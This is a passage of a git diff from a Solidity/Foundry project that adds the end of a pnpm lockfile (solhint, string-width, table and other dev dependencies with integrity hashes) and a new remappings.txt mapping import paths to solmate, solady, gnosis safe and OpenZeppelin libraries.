{node: '>=10'} + dependencies: + ansi-styles: 4.3.0 + astral-regex: 2.0.0 + is-fullwidth-code-point: 3.0.0 + dev: true + + /solhint@3.6.2: + resolution: {integrity: sha512-85EeLbmkcPwD+3JR7aEMKsVC9YrRSxd4qkXuMzrlf7+z2Eqdfm1wHWq1ffTuo5aDhoZxp2I9yF3QkxZOxOL7aQ==} + hasBin: true + dependencies: + '@solidity-parser/parser': 0.16.1 + ajv: 6.12.6 + antlr4: 4.13.1 + ast-parents: 0.0.1 + chalk: 4.1.2 + commander: 10.0.1 + cosmiconfig: 8.3.6 + fast-diff: 1.3.0 + glob: 8.1.0 + ignore: 5.2.4 + js-yaml: 4.1.0 + lodash: 4.17.21 + pluralize: 8.0.0 + semver: 7.5.4 + strip-ansi: 6.0.1 + table: 6.8.1 + text-table: 0.2.0 + optionalDependencies: + prettier: 2.8.8 + transitivePeerDependencies: + - typescript + dev: true + + /string-width@4.2.3: + resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} + dependencies: + emoji-regex: 8.0.0 + is-fullwidth-code-point: 3.0.0 + strip-ansi: 6.0.1 + dev: true + + /strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + dependencies: + ansi-regex: 5.0.1 + dev: true + + /supports-color@5.5.0: + resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==} + engines: {node: '>=4'} + dependencies: + has-flag: 3.0.0 + dev: true + + /supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + dependencies: + has-flag: 4.0.0 + dev: true + + /table@6.8.1: + resolution: {integrity: sha512-Y4X9zqrCftUhMeH2EptSSERdVKt/nEdijTOacGD/97EKjhQ/Qs8RTlEGABSJNNN8lac9kheH+af7yAkEWlgneA==} + engines: {node: '>=10.0.0'} + dependencies: + ajv: 8.12.0 + lodash.truncate: 4.4.2 + slice-ansi: 4.0.0 + string-width: 4.2.3 + strip-ansi: 6.0.1 + dev: true + + /text-table@0.2.0: + resolution: {integrity: sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==} + dev: true + + /uri-js@4.4.1: + resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} + dependencies: + punycode: 2.3.0 + dev: true + + /wrappy@1.0.2: + resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} + dev: true + + /yallist@4.0.0: + resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} + dev: true diff --git a/remappings.txt b/remappings.txt new file mode 100644 index 0000000..01f6c68 --- /dev/null +++ b/remappings.txt @@ -0,0 +1,15 @@ +@contracts=contracts + +@solmate=foundry/lib/solmate/src +@solady=foundry/lib/solady/src +@prb/test=foundry/lib/prb-test/src + +@gnosis.pm/safe-contracts=foundry/lib/@gnosis.pm/safe-contracts/contracts +@gnosis.pm/safe-contracts-v1.3.0=foundry/lib/@gnosis.pm/safe-contracts-v1.3.0/contracts + +@openzeppelin/contracts=foundry/lib/@openzeppelin/contracts/contracts +@openzeppelin/contracts-upgradeable=foundry/lib/@openzeppelin/contracts-upgradeable/contracts +@openzeppelin/contracts-v4.7.1=foundry/lib/@openzeppelin/contracts-v4.7.1/contracts +@openzeppelin/contracts-v4.7.3=foundry/lib/@openzeppelin/contracts-v4.7.3/contracts +@openzeppelin/contracts-upgradeable-v4.7.1=foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1/contracts +